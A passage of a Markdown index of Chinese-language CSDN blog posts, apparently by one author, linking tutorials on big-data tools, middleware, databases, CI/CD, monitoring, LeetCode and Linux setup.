5. [大话watchdog](https://xinchen.blog.csdn.net/article/details/109971608)
6. [of-watchdog(为性能而生)](https://xinchen.blog.csdn.net/article/details/110285578)
7. [java11模板解析](https://xinchen.blog.csdn.net/article/details/110310033)
8. [OpenFaaS实战之八：自制模板(maven+jdk8)](https://xinchen.blog.csdn.net/article/details/114438355)
9. [OpenFaaS实战之九：终篇，自制模板(springboot+maven+jdk8)](114483494)
# 大数据
## hive学习笔记
1. [基本数据类型](https://xinchen.blog.csdn.net/article/details/109304044)
2. [复杂数据类型](https://xinchen.blog.csdn.net/article/details/109344642)
3. [内部表和外部表](https://xinchen.blog.csdn.net/article/details/109393908)
4. [分区表](https://xinchen.blog.csdn.net/article/details/109404278)
5. [分桶](https://xinchen.blog.csdn.net/article/details/109412454)
6. [HiveQL基础](https://xinchen.blog.csdn.net/article/details/109432395)
7. [内置函数](https://xinchen.blog.csdn.net/article/details/109440325)
8. [Sqoop](https://xinchen.blog.csdn.net/article/details/109445825)
9. [基础UDF](https://xinchen.blog.csdn.net/article/details/109457019)
10. [用户自定义聚合函数(UDAF)](https://xinchen.blog.csdn.net/article/details/109499956)
11. [UDTF](https://xinchen.blog.csdn.net/article/details/109530630)
## CDH
1. [《CDH5部署三部曲之一：准备工作》](https://xinchen.blog.csdn.net/article/details/105340968)
2. [《CDH5部署三部曲之二：部署和设置》](https://xinchen.blog.csdn.net/article/details/105341713)
3. [《CDH5部署三部曲之三：问题总结》](https://xinchen.blog.csdn.net/article/details/105342156)
4. [《超简单的CDH6部署和体验(单机版)》](https://xinchen.blog.csdn.net/article/details/105356266)
## Flink
1. [《Flink1.7从安装到体验》](https://blog.csdn.net/boling_cavalry/article/details/85038527)
2. [《开发第一个Flink应用》](https://blog.csdn.net/boling_cavalry/article/details/85059168)
3. [《没有了可用Task slot，Flink新增任务会怎样？》](https://blog.csdn.net/boling_cavalry/article/details/85213905)
4. [《Flink实战：消费Wikipedia实时消息》](https://blog.csdn.net/boling_cavalry/article/details/85205622)
5. [《树莓派3B搭建Flink集群》](https://blog.csdn.net/boling_cavalry/article/details/85222494)
6. [《Flink数据源拆解分析(WikipediaEditsSource)》](https://blog.csdn.net/boling_cavalry/article/details/85221446)
7. [《Flink消费kafka消息实战》](https://blog.csdn.net/boling_cavalry/article/details/85549434)
8. [《Docker部署flink备忘》](https://blog.csdn.net/boling_cavalry/article/details/105015546)
9. [《Flink on Yarn三部曲之一：准备工作》](https://xinchen.blog.csdn.net/article/details/105356306)
10. [《Flink on Yarn三部曲之二：部署和设置》](https://xinchen.blog.csdn.net/article/details/105356347)
11. [《Flink on Yarn三部曲之三：提交Flink任务》](https://xinchen.blog.csdn.net/article/details/105356399)
12. [《IDEA上运行Flink任务》](https://xinchen.blog.csdn.net/article/details/105459630)
13. [《Flink1.9.2源码编译和使用》](https://xinchen.blog.csdn.net/article/details/105460060)
14. [《Flink的DataSource三部曲之一：直接API》](https://xinchen.blog.csdn.net/article/details/105467076)
15. [《Flink的DataSource三部曲之二:内置connector》](https://xinchen.blog.csdn.net/article/details/105471798)
16. [《Flink的DataSource三部曲之三:自定义》](https://xinchen.blog.csdn.net/article/details/105472218)
17. [《Flink的sink实战之一：初探》](https://blog.csdn.net/boling_cavalry/article/details/105597628)
18. [《Flink的sink实战之二：kafka》](https://blog.csdn.net/boling_cavalry/article/details/105598224)
19. [《Flink的sink实战之三：cassandra3》](https://blog.csdn.net/boling_cavalry/article/details/105598968)
20. [《Flink的sink实战之四：自定义》](https://blog.csdn.net/boling_cavalry/article/details/105599511)
21. [《Flink SQL Client初探》](https://blog.csdn.net/boling_cavalry/article/details/105964425)
22. [《准备数据集用于flink学习》](https://blog.csdn.net/boling_cavalry/article/details/106033059)
23. [《将CSV的数据发送到kafka(java版)》](https://blog.csdn.net/boling_cavalry/article/details/106033472)
24. [《Flink SQL Client综合实战》](https://blog.csdn.net/boling_cavalry/article/details/106038219)
26. [《Flink Native Kubernetes实战》](https://blog.csdn.net/boling_cavalry/article/details/106038957)
27. [《Flink处理函数实战之一：深入了解ProcessFunction的状态操作(Flink-1.10)》](https://blog.csdn.net/boling_cavalry/article/details/106040312)
28. [《Flink处理函数实战之二：ProcessFunction类》](https://blog.csdn.net/boling_cavalry/article/details/106299035)
29. [《Flink处理函数实战之三：KeyedProcessFunction类》](https://blog.csdn.net/boling_cavalry/article/details/106299167)
30. [《Flink处理函数实战之四：窗口处理》](https://blog.csdn.net/boling_cavalry/article/details/106453229)
31. [《Flink处理函数实战之五：CoProcessFunction(双流处理)》](https://blog.csdn.net/boling_cavalry/article/details/109614001)
32. [《理解ProcessFunction的Timer逻辑》](https://xinchen.blog.csdn.net/article/details/109564999)
## 双流处理实战特辑
1. [《CoProcessFunction实战三部曲之一：基本功能》](https://xinchen.blog.csdn.net/article/details/109624375)
2. [《CoProcessFunction实战三部曲之二：状态处理》](https://xinchen.blog.csdn.net/article/details/109629119)
3. [《CoProcessFunction实战三部曲之三：定时器和侧输出》](https://xinchen.blog.csdn.net/article/details/109645214)
## Spark
1. [《部署spark2.2集群(standalone模式)》](https://blog.csdn.net/boling_cavalry/article/details/86747258)
2. [《第一个spark应用开发详解(java版)》](https://blog.csdn.net/boling_cavalry/article/details/86776746)
3. [《部署Spark2.2集群(on Yarn模式)》](https://blog.csdn.net/boling_cavalry/article/details/86795338)
4. [《docker下，极速搭建spark集群(含hdfs集群)》](https://blog.csdn.net/boling_cavalry/article/details/86851069)
5. [《spark实战之：分析维基百科网站统计数据(java版)》](https://blog.csdn.net/boling_cavalry/article/details/87241814)
6. [《docker下的spark集群，调整参数榨干硬件》](https://blog.csdn.net/boling_cavalry/article/details/87438666)
7. [《IDEA开发Spark应用实战(Scala)》](https://blog.csdn.net/boling_cavalry/article/details/87510822)
8. [《查看Spark任务的详细信息》](https://blog.csdn.net/boling_cavalry/article/details/102291920)
9. [《Mac部署spark2.4.4》](https://blog.csdn.net/boling_cavalry/article/details/102765992)
## Kylin
1. [《CDH+Kylin三部曲之一：准备工作》](https://xinchen.blog.csdn.net/article/details/105449630)
2. [《CDH+Kylin三部曲之二：部署和设置》](https://xinchen.blog.csdn.net/article/details/105449952)
3. [《CDH+Kylin三部曲之三：Kylin官方demo》](https://xinchen.blog.csdn.net/article/details/105450665)
## HBase
1. [《Docker下HBase学习，三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78041775)
2. [《Docker下HBase学习，三部曲之二：集群HBase搭建》](https://blog.csdn.net/boling_cavalry/article/details/78041811)
3. [《Docker下HBase学习，三部曲之三：java开发》](https://blog.csdn.net/boling_cavalry/article/details/78156406)
## Hive
1. [《安装和体验hive》](https://blog.csdn.net/boling_cavalry/article/details/102310449)
## Hadoop
1. [《Linux部署hadoop2.7.7集群》](https://blog.csdn.net/boling_cavalry/article/details/86774385)
2. [《Mac部署hadoop3(伪分布式)》](https://blog.csdn.net/boling_cavalry/article/details/102538585)
## 数据集
1. [《寻找海量数据集用于大数据开发实战(维基百科网站统计数据)》](https://blog.csdn.net/boling_cavalry/article/details/86894540)
# 中间件
## 配置中心
1. [《Docker搭建disconf环境，三部曲之一：极速搭建disconf》](https://blog.csdn.net/boling_cavalry/article/details/71082610)
2. [《Docker搭建disconf环境，三部曲之二：本地快速构建disconf镜像》](https://blog.csdn.net/boling_cavalry/article/details/71107498)
3. [《Docker搭建disconf环境，三部曲之三：细说搭建过程》](https://blog.csdn.net/boling_cavalry/article/details/71120725)
4. [《docker下使用disconf：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/71404395)
5. [《docker下使用disconf：细说demo开发》](https://blog.csdn.net/boling_cavalry/article/details/71424124)
## zookeeper
1. [《基于spring boot框架访问zookeeper》](https://blog.csdn.net/boling_cavalry/article/details/69802622)
## 缓存
1. [《jedis使用入门（Docker环境下）》](https://blog.csdn.net/boling_cavalry/article/details/71440053)
2. [《Docker下redis与springboot三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/78991422)
3. [《Docker下redis与springboot三部曲之二：安装redis主从和哨兵》](https://blog.csdn.net/boling_cavalry/article/details/78995407)
4. [《Docker下redis与springboot三部曲之三：springboot下访问redis哨兵》](https://blog.csdn.net/boling_cavalry/article/details/79041129)
5. [《实战Redis序列化性能测试(Kryo和字符串)》](https://blog.csdn.net/boling_cavalry/article/details/80719683)
## 注册中心
### dubbo
1. [《Docker下dubbo开发，三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/72303126)
2. [《Docker下dubbo开发，三部曲之二：本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/72460526)
3. [《Docker下dubbo开发，三部曲之三：java开发》](https://blog.csdn.net/boling_cavalry/article/details/72789984)
### nacos
1. [《Docker下,两分钟极速体验Nacos》](https://blog.csdn.net/boling_cavalry/article/details/97617353)
2. [《Docker下的Nacos环境开发》](https://blog.csdn.net/boling_cavalry/article/details/98328270)
3. [《Docker下,两分钟极速体验Nacos配置中心》](https://blog.csdn.net/boling_cavalry/article/details/99708769)
4. [《Docker下Nacos配置应用开发》](https://blog.csdn.net/boling_cavalry/article/details/100067833)
5. [《Docker下Nacos持久化配置》](https://blog.csdn.net/boling_cavalry/article/details/100171289)
### eureka
1. [《Eureka的TimedSupervisorTask类（自动调节间隔的周期性任务）》](https://blog.csdn.net/boling_cavalry/article/details/82795825)
2. [《实战监听Eureka client的缓存更新》](https://blog.csdn.net/boling_cavalry/article/details/82827802)
3. [《Eureka的InstanceInfoReplicator类（服务注册辅助工具）》](https://blog.csdn.net/boling_cavalry/article/details/82909130)
4. [《Eureka注册信息配置备忘》](https://blog.csdn.net/boling_cavalry/article/details/82927409)
5. [《Wireshark抓包分析Eureka注册发现协议》](https://blog.csdn.net/boling_cavalry/article/details/82918227)
6. [《Spring Cloud源码分析之Eureka篇第一章：准备工作》](https://blog.csdn.net/boling_cavalry/article/details/81809929)
7. [《Spring Cloud源码分析之Eureka篇第二章：注册中心启动类上的注解EnableEurekaServer》](https://blog.csdn.net/boling_cavalry/article/details/81809860)
8. [《Spring Cloud源码分析之Eureka篇第三章：EnableDiscoveryClient与EnableEurekaClient的区别(Edgware版本)》](https://blog.csdn.net/boling_cavalry/article/details/82668480)
9. [《Spring Cloud源码分析之Eureka篇第四章：服务注册是如何发起的》](https://blog.csdn.net/boling_cavalry/article/details/82721583)
10. [《Spring Cloud源码分析之Eureka篇第五章：更新服务列表》](https://blog.csdn.net/boling_cavalry/article/details/82813180)
11. [《Spring Cloud源码分析之Eureka篇第六章：服务注册》](https://blog.csdn.net/boling_cavalry/article/details/82861618)
12. [《Spring Cloud源码分析之Eureka篇第七章：续约》](https://blog.csdn.net/boling_cavalry/article/details/82915355)
13. [《Spring Cloud源码分析之Eureka篇第八章：服务注册名称的来历》](https://blog.csdn.net/boling_cavalry/article/details/82930728)
# 消息队列
## kafka
1. [《Docker下kafka学习，三部曲之一：极速体验kafka》](https://blog.csdn.net/boling_cavalry/article/details/71576775)
2. [《Docker下kafka学习，三部曲之二：本地环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/71601189)
3. [《Docker下kafka学习，三部曲之三：java开发》](https://blog.csdn.net/boling_cavalry/article/details/71634631)
4. [《Docker下的Kafka学习之一：制作集群用的镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78244943)
5. [《Docker下的Kafka学习之二：搭建集群环境》](https://blog.csdn.net/boling_cavalry/article/details/78309050)
6. [《Docker下的Kafka学习之三：集群环境下的java开发》](https://blog.csdn.net/boling_cavalry/article/details/78386451)
7. [《kafka的Docker镜像使用说明(wurstmeister/kafka)》](https://blog.csdn.net/boling_cavalry/article/details/85395080)
8. [《如何使用Docker内的kafka服务》](https://blog.csdn.net/boling_cavalry/article/details/85528519)
9. [《K8S环境快速部署Kafka(K8S外部可访问)》](https://xinchen.blog.csdn.net/article/details/105466163)
10. [《K8S的Kafka监控(Prometheus+Grafana)》](https://xinchen.blog.csdn.net/article/details/105466788)
## RabbitMQ
1. [《Docker下RabbitMQ四部曲之一：极速体验(单机和集群)》](https://blog.csdn.net/boling_cavalry/article/details/80212878)
2. [《Docker下RabbitMQ四部曲之二：细说RabbitMQ镜像制作》](https://blog.csdn.net/boling_cavalry/article/details/80297358)
3. [《Docker下RabbitMQ四部曲之三：细说java开发》](https://blog.csdn.net/boling_cavalry/article/details/80301169)
4. [《Docker下RabbitMQ四部曲之四：高可用实战》](https://blog.csdn.net/boling_cavalry/article/details/80351491)
5. [《Docker下RabbitMQ延时队列实战两部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/80630100)
6. [《Docker下RabbitMQ延时队列实战两部曲之二：细说开发》](https://blog.csdn.net/boling_cavalry/article/details/80635050)
# 数据库
## MySQL
1. [《让docker中的mysql启动时自动执行sql》](https://blog.csdn.net/boling_cavalry/article/details/71055159)
2. [《Docker下，极速体验mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78168085)
3. [《制作mongodb的Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78172113)
4. [《Docker下，实战mongodb副本集（Replication）》](https://blog.csdn.net/boling_cavalry/article/details/78173636)
5. [《Docker下安装Rockmongo，图形化操作mongodb》](https://blog.csdn.net/boling_cavalry/article/details/78234762)
6. [《Java实战操作MongoDB集群（副本集）》](https://blog.csdn.net/boling_cavalry/article/details/78238163)
7. [《Docker下的mysql设置字符集》](https://blog.csdn.net/boling_cavalry/article/details/79342494)
8. [《Docker下手工配置MySQL主从》](https://blog.csdn.net/boling_cavalry/article/details/79751085)
9. [《Docker下MySQL主从三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79747488)
10. [《Docker下MySQL主从三部曲之二：细说镜像制作》](https://blog.csdn.net/boling_cavalry/article/details/79775617)
11. [《Docker下MySQL主从三部曲之三：binlog日志参数实战》](https://blog.csdn.net/boling_cavalry/article/details/79782008)
12. [《关于InnoDB表数据和索引数据的存储》](https://blog.csdn.net/boling_cavalry/article/details/85172258)
## ElasticSearch
### ElasticSearch实战
1. [《CentOS7搭建ELK-6.2.3版本》](https://blog.csdn.net/boling_cavalry/article/details/79836171)
2. [《Docker下ELK三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/79950677)
3. [《Docker下ELK三部曲之二：细说开发》](https://blog.csdn.net/boling_cavalry/article/details/79972444)
4. [《Docker下ELK三部曲之三：K8S上的ELK和应用日志上报》](https://blog.csdn.net/boling_cavalry/article/details/80141800)
5. [《Linux环境快速搭建elasticsearch6.5.4集群和Head插件》](https://blog.csdn.net/boling_cavalry/article/details/86358716)
6. [《elasticsearch安装和使用ik分词器》](https://blog.csdn.net/boling_cavalry/article/details/86549043)
7. [《自己动手制作elasticsearch-head的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86663168)
8. [《自己动手制作elasticsearch的ik分词器的Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/86668180)
9. [《docker下，一行命令搭建elasticsearch6.5.0集群(带head插件和ik分词器)》](https://blog.csdn.net/boling_cavalry/article/details/86669450)
10. [《Elasticsearch6.1.2源码下载和编译构建》](https://blog.csdn.net/boling_cavalry/article/details/89298234)
11. [《IntelliJ IDEA远程调试Elasticsearch6.1.2》](https://blog.csdn.net/boling_cavalry/article/details/89417650)
12. [《极速导入elasticsearch测试数据》](https://blog.csdn.net/boling_cavalry/article/details/89435566)
### ElasticSearch基本功专题
1. [《elasticsearch实战三部曲之一：索引操作》](https://blog.csdn.net/boling_cavalry/article/details/86361841)
2. [《elasticsearch实战三部曲之二：文档操作》](https://blog.csdn.net/boling_cavalry/article/details/86379882)
3[《elasticsearch实战三部曲之三：搜索操作》](https://blog.csdn.net/boling_cavalry/article/details/86413235)
4. [《Elasticsearch聚合学习之一：基本操作》](https://blog.csdn.net/boling_cavalry/article/details/89735952)
5. [《Elasticsearch聚合学习之二：区间聚合》](https://blog.csdn.net/boling_cavalry/article/details/89763684)
6. [《Elasticsearch聚合学习之三：范围限定》](https://blog.csdn.net/boling_cavalry/article/details/89785223)
7. [《Elasticsearch聚合学习之四：结果排序》](https://blog.csdn.net/boling_cavalry/article/details/89812169)
8. [《Elasticsearch聚合学习之五：排序结果不准的问题分析》](https://blog.csdn.net/boling_cavalry/article/details/90319399)
9. [《Elasticsearch聚合的嵌套桶如何排序》](https://blog.csdn.net/boling_cavalry/article/details/89816240)
10. [《理解elasticsearch的post_filter》](https://blog.csdn.net/boling_cavalry/article/details/89801825)
11. [《elasticsearch的字符串动态映射》](https://blog.csdn.net/boling_cavalry/article/details/89061560)
12. [《实战Elasticsearch6的join类型》](https://blog.csdn.net/boling_cavalry/article/details/89067738)
# 工具和技巧
1. [《根据java代码生成UML图》](https://blog.csdn.net/boling_cavalry/article/details/72033221)
2. [《设置Intellij idea和maven，支持lambda表达式》](https://blog.csdn.net/boling_cavalry/article/details/72853503)
3. [《安装Genymotion模拟器运行Android studio的工程》](https://blog.csdn.net/boling_cavalry/article/details/73287096)
4. [《Intellij idea远程debug连接tomcat，实现单步调试》](https://blog.csdn.net/boling_cavalry/article/details/73384036)
5. [《docker下载镜像慢怎么办？daocloud加速器来帮你》](https://blog.csdn.net/boling_cavalry/article/details/77833069)
6. [《Docker下的mysql设置字符集》](https://blog.csdn.net/boling_cavalry/article/details/79342494)
7. [《用IntelliJ IDEA看Java类图》](https://blog.csdn.net/boling_cavalry/article/details/79418823)
8. [《Wireshark的HTTP请求包和响应包如何对应》](https://blog.csdn.net/boling_cavalry/article/details/82925463)
9. [《Wireshark抓包分析Eureka注册发现协议》](https://blog.csdn.net/boling_cavalry/article/details/82918227)
10. [《免费申请和使用IntelliJ IDEA商业版License指南》](https://blog.csdn.net/boling_cavalry/article/details/100014835)
11. [《发送kafka消息的shell脚本》](https://blog.csdn.net/boling_cavalry/article/details/104736677)
12. [《github搜索技巧小结》](https://xinchen.blog.csdn.net/article/details/114737069)
# 问题处理
1. [《dubbo服务提供者在tomcat启动失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/72188135)
2. [《Docker下部署dubbo，消费者应用无法使用link参数的问题》](https://blog.csdn.net/boling_cavalry/article/details/72388834)
3. [《adb shell无法连接到Genymotion上的虚拟设备的问题》](https://blog.csdn.net/boling_cavalry/article/details/73301843)
4. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之一：稳定重现问题》](https://blog.csdn.net/boling_cavalry/article/details/73071020)
5. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之二：定位错误》](https://blog.csdn.net/boling_cavalry/article/details/73442311)
6. [《spring+mybatis启动NoClassDefFoundError异常分析三部曲之三：改spring源码，取详细错误》](https://blog.csdn.net/boling_cavalry/article/details/73759475)
7. [《docker-compose中启动镜像失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/79050451)
8. [《Docker下No module named 'pymongo'问题处理》](https://blog.csdn.net/boling_cavalry/article/details/79169560)
9. [《springboot启动失败的问题（'hibernate.dialect' not set）》](https://blog.csdn.net/boling_cavalry/article/details/79342319)
10. [《springboot的JPA在Mysql8新增记录失败的问题》](https://blog.csdn.net/boling_cavalry/article/details/79342572)
11. [《Win10环境编译spring-framework4.1.9版本，报错"Failed to capture snapshot of input files for task 'distZip'"》](https://blog.csdn.net/boling_cavalry/article/details/80796059)
12. [《maven编译遇到"编码GBK的不可映射字符"警告的处理》](https://blog.csdn.net/boling_cavalry/article/details/83036666)
13. [《 docker问题备忘："rpc error: code = 2 desc = containerd: container not found"》](https://blog.csdn.net/boling_cavalry/article/details/88817244)
14. [《使用fabric8-maven-plugin插件的错误处理(No plugin found for prefix 'fabric8')》](https://blog.csdn.net/boling_cavalry/article/details/91132345)
15. [《Linux下minikube启动失败(It seems like the kubelet isn't running or healthy)》](https://blog.csdn.net/boling_cavalry/article/details/91306095)
16. [《Ubuntu18重启docker服务失败问题备忘》](https://blog.csdn.net/boling_cavalry/article/details/100059053)
17. [《hadoop2.7集群初始化之后没有DataNode的问题》](https://blog.csdn.net/boling_cavalry/article/details/102764540)
# DevOps
## ansible
1. [《ansible2.4安装和体验》](https://xinchen.blog.csdn.net/article/details/105342744)
2. [《超简单的CDH6部署和体验(单机版)》](https://xinchen.blog.csdn.net/article/details/105356266)
3. [《Flink on Yarn三部曲之一：准备工作》](https://xinchen.blog.csdn.net/article/details/105356306)
4. [《Flink on Yarn三部曲之二：部署和设置》](https://xinchen.blog.csdn.net/article/details/105356347)
5. [《Flink on Yarn三部曲之三：提交Flink任务》](https://xinchen.blog.csdn.net/article/details/105356399)
6. [《CDH+Kylin三部曲之一：准备工作》](https://xinchen.blog.csdn.net/article/details/105449630)
7. [《CDH+Kylin三部曲之二：部署和设置》](https://xinchen.blog.csdn.net/article/details/105449952)
8. [《CDH+Kylin三部曲之三：Kylin官方demo》](https://xinchen.blog.csdn.net/article/details/105450665)
9. [《ansible快速部署cassandra3集群》](https://blog.csdn.net/boling_cavalry/article/details/105602584)
## Maven
1. [《maven构建docker镜像三部曲之一：准备环境》](https://blog.csdn.net/boling_cavalry/article/details/78869466)
2. [《maven构建docker镜像三部曲之二：编码和构建镜像》](https://blog.csdn.net/boling_cavalry/article/details/78872020)
3. [《maven构建docker镜像三部曲之三：推送到远程仓库(内网和阿里云)》](https://blog.csdn.net/boling_cavalry/article/details/78934391)
4. [《docker下的Jenkins安装和体验》](https://blog.csdn.net/boling_cavalry/article/details/78942408)
5. [《实战maven私有仓库三部曲之一：搭建和使用》](https://blog.csdn.net/boling_cavalry/article/details/79059021)
6. [《实战maven私有仓库三部曲之二：上传到私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79070744)
7. [《实战maven私有仓库三部曲之三：Docker下搭建maven私有仓库》](https://blog.csdn.net/boling_cavalry/article/details/79111740)
8. [《实战：向GitHub提交代码时触发Jenkins自动构建》](https://blog.csdn.net/boling_cavalry/article/details/78943061)
9. [《修改gradle脚本，加速spring4.1源码编译构建速度》](https://blog.csdn.net/boling_cavalry/article/details/80873343)
10. [《Docker与Jib(maven插件版)实战》](https://blog.csdn.net/boling_cavalry/article/details/94355659)
12. [《Jib使用小结(Maven插件版)》](https://blog.csdn.net/boling_cavalry/article/details/100179709)
13. [《Jib构建镜像问题从定位到深入分析》](https://blog.csdn.net/boling_cavalry/article/details/101606958)
14. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
15. [《kubernetes下jenkins实战maven项目编译构建》](https://blog.csdn.net/boling_cavalry/article/details/104875452)
## 持续构建
1. [《通过http请求启动jenkins任务》](https://blog.csdn.net/boling_cavalry/article/details/85373901)
2. [《Jenkins流水线(pipeline)实战之：从部署到体验》](https://blog.csdn.net/boling_cavalry/article/details/100848333)
3. [《让Jenkins执行GitHub上的pipeline脚本》](https://blog.csdn.net/boling_cavalry/article/details/100857361)
4. [《Jenkins把GitHub项目做成Docker镜像》](https://blog.csdn.net/boling_cavalry/article/details/101099617)
5. [《快速搭建Jenkins集群》](https://blog.csdn.net/boling_cavalry/article/details/103097240)
6. [《Jenkins集群下的pipeline实战》](https://blog.csdn.net/boling_cavalry/article/details/103104441)
7. [《kubernetes下的jenkins如何设置maven》](https://blog.csdn.net/boling_cavalry/article/details/104849839)
8. [《K8S环境的Jenkin性能问题处理》](https://blog.csdn.net/boling_cavalry/article/details/105005245)
9. [《K8S环境的Jenkin性能问题处理续篇(任务Pod设置)》](https://xinchen.blog.csdn.net/article/details/105181474)
10. [《远程触发Jenkins的Pipeline任务》](https://xinchen.blog.csdn.net/article/details/105189564)
11. [《远程触发Jenkins的Pipeline任务的并发问题处理》](https://xinchen.blog.csdn.net/article/details/105340243)
12. [《GitLab Runner部署(kubernetes环境)》](https://blog.csdn.net/boling_cavalry/article/details/106991576)
13. [《GitLab CI构建SpringBoot-2.3应用》](https://blog.csdn.net/boling_cavalry/article/details/106991691)
14. [《Gitlab Runner的分布式缓存实战》](https://blog.csdn.net/boling_cavalry/article/details/107374730)
15. [《用GitHub Actions制作Docker镜像》](https://xinchen.blog.csdn.net/article/details/115476859)
## promethus
1. [《Docker下Prometheus和Grafana三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/88367137)
2. [《Docker下Prometheus和Grafana三部曲之二：细说Docker编排》](https://blog.csdn.net/boling_cavalry/article/details/88374848)
3. [《Docker下Prometheus和Grafana三部曲之三：自定义监控项开发和配置》](https://blog.csdn.net/boling_cavalry/article/details/88375734)
4. [《kubernetes1.15极速部署prometheus和grafana》](https://xinchen.blog.csdn.net/article/details/105156849)
5. [《K8S的Kafka监控(Prometheus+Grafana)》](https://xinchen.blog.csdn.net/article/details/105466788)
## zabbix
1. [《Docker下实战zabbix三部曲之一：极速体验》](https://blog.csdn.net/boling_cavalry/article/details/76857936)
2. [《Docker下实战zabbix三部曲之二：监控其他机器》](https://blog.csdn.net/boling_cavalry/article/details/77095153)
3. [《Docker下实战zabbix三部曲之三：自定义监控项》](https://blog.csdn.net/boling_cavalry/article/details/77410178)
4. [《Docker下，极速体验编译pinpoint1.6.x分支》](https://xinchen.blog.csdn.net/article/details/78440890)
## pinpoint
1. [《把pinpoint编译环境做成Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78447310)
2. [《Docker下，极速体验pinpoint1.6.3》](https://blog.csdn.net/boling_cavalry/article/details/78447314)
3. [《Docker下，pinpoint环境搭建》](https://blog.csdn.net/boling_cavalry/article/details/78448564)
4. [《pinpoint插件开发之一：牛刀小试，调整gson插件》](https://blog.csdn.net/boling_cavalry/article/details/78495628)
5. [《pinpoint插件开发之二：从零开始新建一个插件》](https://blog.csdn.net/boling_cavalry/article/details/78568073)
6. [《分布式系统快速接入pinpoint1.8.3指南》](https://blog.csdn.net/boling_cavalry/article/details/102011341)
## jaeger
1. [《分布式调用链跟踪工具Jaeger？两分钟极速体验》](https://xinchen.blog.csdn.net/article/details/120243299)
2. [《Jaeger开发入门(java版)》](https://xinchen.blog.csdn.net/article/details/120360141)
3. [《Java应用日志如何与Jaeger的trace关联》](https://xinchen.blog.csdn.net/article/details/120389573)
4. [《Jaeger的客户端采样配置》](https://xinchen.blog.csdn.net/article/details/120395628)
5. [《极简！一个注解就能创建Jaeger的Span》](https://xinchen.blog.csdn.net/article/details/120475233)
6. [《Jaeger知识点补充》](https://xinchen.blog.csdn.net/article/details/120394912)
# 算法
1. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之一：解题思路》](https://blog.csdn.net/boling_cavalry/article/details/86563586)
2. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之二：编码实现》](https://blog.csdn.net/boling_cavalry/article/details/86654969)
3. [《LeetCode第三题(Longest Substring Without Repeating Characters)三部曲之三：两次优化》](https://blog.csdn.net/boling_cavalry/article/details/86655675)
4. [《LeetCode46全排列(回溯入门)》](https://xinchen.blog.csdn.net/article/details/125966575)
5. [《LeetCode952三部曲之一：解题思路和初级解法(137ms，超39%)》](https://xinchen.blog.csdn.net/article/details/126070288)
6. [《LeetCode952三部曲之二：小幅度优化(137ms -＞ 122ms，超39% -＞ 超51%)》](https://xinchen.blog.csdn.net/article/details/126090112)
7. [《LeetCode952三部曲之三：再次优化(122ms -＞ 96ms，超51% -＞ 超91%)》](https://xinchen.blog.csdn.net/article/details/126215652)
8. [《LeetCode买卖股票之一：基本套路(122)》](https://xinchen.blog.csdn.net/article/details/126558167)
9. [《LeetCode297：hard级别中最简单的存在，java版，用时击败98%，内存击败百分之九十九》](https://xinchen.blog.csdn.net/article/details/126693144)
10. [《LeetCode279:完全平方数，动态规划解法超过46%，作弊解法却超过97%》](https://xinchen.blog.csdn.net/article/details/126922180)
11. [《LeetCode155:最小栈，最简单的中等难度题，时间击败100%，内存也低于官方》](https://xinchen.blog.csdn.net/article/details/127042047)
12. [《LeetCode98：验证二叉搜索树，居然有这么简单的中等难度，白捡(用时击败100%)》](https://xinchen.blog.csdn.net/article/details/127145854)
# Linux
1. [《Ubuntu16环境安装和使用NFS》](https://blog.csdn.net/boling_cavalry/article/details/79498346)
2. [《CentOS7安装Nginx1.10.1》](https://blog.csdn.net/boling_cavalry/article/details/79834850)
3. [《CentOS7安装JDK8》](https://blog.csdn.net/boling_cavalry/article/details/79840049)
4. [《Ubuntu下安装OpenJDK10》](https://blog.csdn.net/boling_cavalry/article/details/83213608)
5. [《Ubuntu环境下载OpenJDK11源码》](https://blog.csdn.net/boling_cavalry/article/details/83240035)
6. [《Ubuntu16安装nodejs10》](https://blog.csdn.net/boling_cavalry/article/details/86354385)
7. [《Linux服务器端网络抓包和分析实战》](https://blog.csdn.net/boling_cavalry/article/details/86771775)
8. [《Linux配置SSH免密码登录(非root账号)》](https://blog.csdn.net/boling_cavalry/article/details/86772345)
9. [《CentOS7安装python3和pip3》](https://blog.csdn.net/boling_cavalry/article/details/96572311)
# Mac
1. [《Mac下vagrant从安装到体验》](https://blog.csdn.net/boling_cavalry/article/details/99702719)
2. [《Vagrant定制个性化CentOS7模板》](https://blog.csdn.net/boling_cavalry/article/details/102240871)
3. [《Java程序员的MacBookPro(14寸M1)配置备忘录》](https://xinchen.blog.csdn.net/article/details/124139180)
# Windows
1. [《win11安装ubuntu(by wsl2)》](https://xinchen.blog.csdn.net/article/details/126312959)
# golang
1. [《Ubuntu16安装Go语言环境》](https://blog.csdn.net/boling_cavalry/article/details/82904868)
2. [《golang实战之flag包》](https://blog.csdn.net/boling_cavalry/article/details/87901677)
3. [《用golang官方Docker镜像运行项目》](https://blog.csdn.net/boling_cavalry/article/details/87904485)
4. [《vim设置go语法高亮》](https://blog.csdn.net/boling_cavalry/article/details/88598828)
5. [云端golang开发，无需本地配置，能上网就能开发和运行](https://xinchen.blog.csdn.net/article/details/128879768)
